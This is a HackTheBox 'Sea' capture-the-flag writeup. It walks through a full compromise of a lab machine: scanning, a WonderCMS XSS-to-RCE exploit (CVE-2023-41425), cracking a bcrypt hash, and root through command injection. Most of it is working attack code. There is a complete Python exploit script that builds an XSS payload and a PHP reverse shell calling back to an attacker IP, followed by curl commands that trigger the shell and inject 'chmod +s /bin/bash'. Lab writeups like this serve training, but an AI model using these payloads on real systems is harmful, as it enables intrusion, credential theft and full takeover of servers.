Post

HackTheBox Sea Writeup

Explore the fundamentals of cybersecurity in the Sea Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts

Edit the /etc/hosts file and add the following entries:

1
10.10.11.28 sea.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.28"
domain="sea.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV sea.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for sea.htb (10.10.11.28)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://sea.htb
8080/tcp open  http       Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel

Enumeration

1
ffuf -u http://sea.htb/FUZZ -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302,401,402,403

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
index.php               [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 54ms]
contact.php             [Status: 200, Size: 2731, Words: 821, Lines: 119, Duration: 47ms]
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 46ms]
.html                   [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.php                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htm                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htpasswds              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.htgroup                [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
wp-forum.phps           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htaccess.bak           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htuser                 [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.ht                     [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htc                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
Copy of index.html      [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]

CVE-2023-41425

WonderCMS XSS to RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/bin/python
import os
import shutil
import zipfile
import argparse
import subprocess

red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'

def get_tun0_ip():
    """Fetch the tun0 IP address."""
    try:
        tun0_ip = subprocess.check_output("ip -4 addr show tun0 | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True)
        return tun0_ip.decode().strip()
    except subprocess.CalledProcessError:
        return None

def arguments():
    global args
    parser = argparse.ArgumentParser()
    parser.add_argument( '-u', '--url', required=True, help='Enter the URL where the WonderCMS loginURL is located. e.g.: http://example.com/loginURL' )
    parser.add_argument( '-i', '--ip', required=True, help='Attacker IP address. e.g.: -i 127.0.0.1' )
    parser.add_argument( '-p', '--port', required=True, help='Listening port. e.g.: -p 4444' )
    parser.add_argument( '-r', '--remote-host', default=None, help='Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/main.zip' )
    args = parser.parse_args()
    if args.remote_host is None:
        tun0_ip = get_tun0_ip()
        if tun0_ip:
            args.remote_host = f"http://{tun0_ip}:8000/main.zip"
            print(f"[*] Using tun0 IP for remote host: {args.remote_host}")
        else:
            print("[!] tun0 IP address could not be determined. Please specify the remote host manually.")
            exit(1)
    

def createData( url, ip, port, remote_host ):
    data = f'''
var url = "{ url }";
if (url.endsWith("/")) {{
    url = url.slice(0, -1);
}}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/'; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {{
    if (xhr3.status == 200) {{
        var xhr4 = new XMLHttpRequest();
        xhr4.withCredentials = true;
        xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
        xhr4.send();
        xhr4.onload = function() {{
            if (xhr4.status == 200) {{
                var ip = "{ ip }";
                var port = "{ port }";
                var xhr5 = new XMLHttpRequest();
                xhr5.withCredentials = true;
                xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
                xhr5.send();
            }}
        }};
    }}
}};
'''
    return data

def createFileXSS( data ):
    try:
        with open( "xss.js", "w" ) as f:
            f.write( data )
    except:
        print('\n[!] An error occurred while trying to write the file!')

def createRevPHP():
    reverse_shell_code = '''<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
    $ip = $_GET['lhost'];
}
if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536) {
    $port = (int)$_GET['lport'];
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit($string) {
    print "$string\n";
}
'''
    if os.path.exists('main.zip'):
        print(yellow,"\n[+] main.zip already exists. No further action required.", reset)
        return
    print(yellow,"\n[*] Creating 'revshell-main' directory and placing rev.php...", reset)
    os.makedirs('revshell-main', exist_ok=True)
    with open(os.path.join('revshell-main', 'rev.php'), 'w') as f:
        f.write(reverse_shell_code)
    print(yellow,"[+] revshell-main/rev.php created with reverse shell code.", reset)
    print(yellow,"[*] Compressing 'revshell-main' into 'main.zip'...", reset)
    with zipfile.ZipFile('main.zip', 'w') as zipf:
        for root, dirs, files in os.walk('revshell-main'):
            for file in files:
                zipf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.dirname('revshell-main')))
    print(yellow,"[+] main.zip created successfully.", reset)
    print(yellow,"[*] Cleaning up 'revshell-main' directory...", reset)
    shutil.rmtree('revshell-main')
    print(yellow,"[+] Cleaned up 'revshell-main' directory.\n", reset)

def printInfo():
    print(yellow, "\n[+]The zip file will be downloaded from the host: ", reset, f" { args.remote_host }")
    print(yellow, "\n[+] File created:", reset,"xss.js")
    print(yellow, "\n[+] Set up nc to listen on your terminal for the reverse shell")    
    print("\tUse:\n\t\t", reset, red, f"nc -nvlp { args.port }", reset)
    link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/xss.js\"></script><form+action=\""
    link = link.strip(" ")
    print(yellow, "\n[+] Send the below link to admin:\n\n", green + link, reset)
    print("\nStarting HTTP server with Python3, waiting for the XSS request")
    os.system("python3 -m http.server\n")

if __name__ == '__main__':
    try:
        arguments()
        createRevPHP()
        createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) )
        printInfo()
    finally:
        if os.path.exists('xss.js'):
            os.remove('xss.js')
            print(yellow,"\n[+] xss.js deleted.", reset)
        if os.path.exists('main.zip'):
            os.remove('main.zip')
            print(yellow,"\n[+] main.zip deleted.", reset)

Make the script executable and run it:

1
2
3
chmod +x 41425
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
./41425 -u http://sea.htb/loginURL -i $vpnip -p 9001

go in http://sea.htb/contact.php and post a request with website as the payload given by the exploit

wait until “GET /xss.js HTTP/1.1” 200 appear in the exploit

listener

1
nc -lvnp 9001

invoke the revshell

1
2
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl "http://sea.htb/themes/revshell-main/rev.php?lhost=$vpnip&lport=9001"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Looking into existing users we find amay and geo.

1
cat /etc/passwd | grep 'sh$'
1
2
3
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

Looking for credentials in the web app files we found a database.js that contains a bcrypt hash.

1
2
cd /var/www/sea/data
cat database.js | grep password

The hash contains escape sequences like \/ that need to be replaced with /. This is done using sed 's/\\\//\//g'.

Brute Force the Hash

Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 3200 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Now you can SSH:

1
ssh amay@sea.htb

Web Interface on Port 8080

List local running services:

1
ss -tulpn

8080 has a service, so forward it to your machine:

1
ssh -L 1234:localhost:8080 amay@sea.htb

http://localhost:1234/

Log in as amay.

Just open the page in your browser and copy the token from the cookies.

Then, send the POST request to show the content of /root/root.txt and set the bash binary as SUID:

1
curl 'http://localhost:1234/' -X POST -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' --data-raw 'log_file='$(echo '/root/root.txt;chmod +s /bin/bash' | jq -sRr @uri)'&analyze_log=' | grep -oE '[a-f0-9]{32}'

This will display the flag.

1
ssh amay@sea.htb

After logging, you can run:

1
/bin/bash -p

And get a root shell.

This post is licensed under CC BY 4.0 by the author.